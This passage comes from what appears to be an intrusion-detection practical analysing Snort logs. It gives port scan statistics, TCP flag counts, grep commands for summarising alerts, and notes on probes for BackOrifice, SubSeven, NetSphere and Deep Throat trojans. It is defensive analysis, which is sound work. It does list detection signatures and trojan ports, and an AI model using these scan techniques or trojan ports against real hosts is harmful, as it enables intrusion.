01/30-14:36:42.809248  [**] Watchlist 000222 NET-NCFC [**] 159.226.227.72:44450 ->
MY.NET.60.17:804
01/30-14:38:32.418530  [**] Watchlist 000222 NET-NCFC [**] 159.226.126.85:37529 ->
MY.NET.60.17:587
```

Watchlist 000220 IL-ISDNNET-990517

This list refers to Israeli IP addresses. Since most of this traffic is either Napster or Gnutella, it is of little concern, unless it violates company policy.

UDP SRC and DST outside network

IDS should be configured to see traffic destined for the network. Check the configuration file to see that the network is defined properly.

Port Scan Analysis

UDP scans 454374 instances

Top ten UDP source ports:
Src port 1676 appears 8606 times

```
Src port 1034 appears 4903 times
Src port 1025 appears 4609 times
Src port 1036 appears 34081 times
Src port 1679 appears 1447 times
Src port 0 appears 13581 times
Src port 13139 12732 times
Src port 1041 appears 532 times
Src port 1179 appears 377 times
Src port 1031 appears 269 times
```

Top ten UDP destination ports:

```
Dst port 28800 appears 62902 times
Dst port 7778 appears 34253 times
Dst port 6112 appears 21702 times
Dst port 0 appears 13585 times
Dst port 13139 appears 11936 times
Dst port 27005 appears 7424 times
Dst port 27018 appears 7390 times
Dst port 27020 appears 6581 times
Dst port 53 appears 6025 times
Dst port 27019 appears 3739 times
```

TCP scans

```
Type SYN appears 54916 times
Type SYFIN appears 17165 times
Type NOACK appears 1186 times
Type INVALIDACK appears 801 times
Type UNKNOWN appears 405 times
Type FIN appears 157 times
Type NULL appears 361 times
Type VECNA appears 270 times
Type FULLXMAS appears 68 times
Type SPAU appears 194 times
Type NMAPID appears 21 times
```

Flags

```
**S***** appears 54114 times
**SF**** appears 17114 times
***F**** appears 135 times
******** appears 322 times
21S***** appears 780 times
2***R*A* appears 72 times
****R**U appears 59 times
```

```
*1S*R*** appears 35 times
*1*FRP*U appears 44 times
2**F*P** appears 31 times
```

Methodology

SnortSnarf was used to gather basic information about the traffic. There were problems given the size of the files, so I utilized a variety of approaches including the following method derived from http://www.sans.org/y2k/practical/Miika_Turkia_GCIA.htm.

This command lists out the preprocessors that have triggered alarms.

```
# cat SnortA* | grep '[**]' | grep spp_portscan | cut -c29- | cut -d ':' -f1 | sort -u
```

This command lists the alarms that were triggered.

```
# cat SnortA* | grep '\[**\]' | grep -v spp_portscan | cut -c24- | cut -d ']' -f2 | sort –u
```

```
 Attempted Sun RPC high port access [**
 connect to 515 from inside [**
 ICMP SRC and DST outside network [**
 NMAP TCP ping! [**
 Null scan! [**
 Possible RAMEN server activity [**
 Queso fingerprint [**
 Russia Dynamo - SANS Flash 28-jul-00 [**
 SNMP public access [**
 SUNRPC highport access! [**
 SYN-FIN scan! [**
 TCP SMTP Source Port traffic [**
 TCP SRC and DST outside network [**
 Tiny Fragments - Possible Hostile Activity [**
 UDP SRC and DST outside network [**
 Watchlist 000220 IL-ISDNNET-990517 [**
 Watchlist 000222 NET-NCFC [**
```

Grep, sort, translate, and various other commands were utilized to analyze network traffic.

Miscellaneous Observations

BackOrifice Activity?

```
Feb  6 11:45:24 MY.NET.179.78:2330 -> 162.33.212.88:31337 SYN **S*****
Feb  6 11:53:30 MY.NET.179.78:3918 -> 162.33.212.88:31337 SYN **S*****
Jan 21 04:24:30 203.19.226.139:3427 -> MY.NET.98.198:31337 SYN **S*****
Jan 21 04:25:05 203.19.226.139:3448 -> MY.NET.98.198:31337 SYN **S*****
Jan 21 04:25:07 203.19.226.139:3448 -> MY.NET.98.198:31337 SYN **S*****
Feb  5 12:23:24 24.141.161.35:4520 -> MY.NET.60.8:31337 SYN **S*****
Feb  5 21:28:02 24.141.161.35:2259 -> MY.NET.202.222:31337 SYN **S*****
```

Heavy SubSeven scanning on port 27374 occurred on Feb 7 from 10:45:45 until 11:13:44 from @Home Network address blocks.

```
Feb  7 10:45:45 24.112.112.204:3999 -> MY.NET.224.87 SYN **S*****
Feb  7 10:45:45 24.112.112.204:4008 -> MY.NET.224.96 SYN **S*****
Feb  7 10:45:45 24.112.112.204:4011 -> MY.NET.224.99 SYN **S*****
Feb  7 10:45:45 24.112.112.204:4007 -> MY.NET.224.95 SYN **S*****
```

The following connections indicate that the user has installed a shareware program that uses the Conducent "adbot" wrapper. An example of this is PKWARE.

```
Feb  7 18:11:21 MY.NET.217.166:2110 -> 216.33.210.108:17027 SYN **S*****
Feb  7 18:11:22 MY.NET.217.166:2110 -> 216.33.210.108:17027 SYN **S*****
Feb  7 18:11:26 MY.NET.217.166:2123 -> 216.33.210.108:17027 SYN **S*****
Feb  7 18:11:29 MY.NET.217.166:2130 -> 216.33.210.108:17027 SYN **S*****
```

The following connection attempt is indicative of a probe for the NetSphere trojan.

```
Feb  5 21:28:02 24.141.161.35:2248 -> MY.NET.202.222:30100 SYN **S*****
```

The following connection attempts are indicative of a probe for the Deep Throat trojan.

```
Jan 21 04:24:30 203.19.226.139:3428 -> MY.NET.98.198:6670 SYN **S*****
Jan 21 04:25:05 203.19.226.139:3449 -> MY.NET.98.198:6670 SYN **S*****
```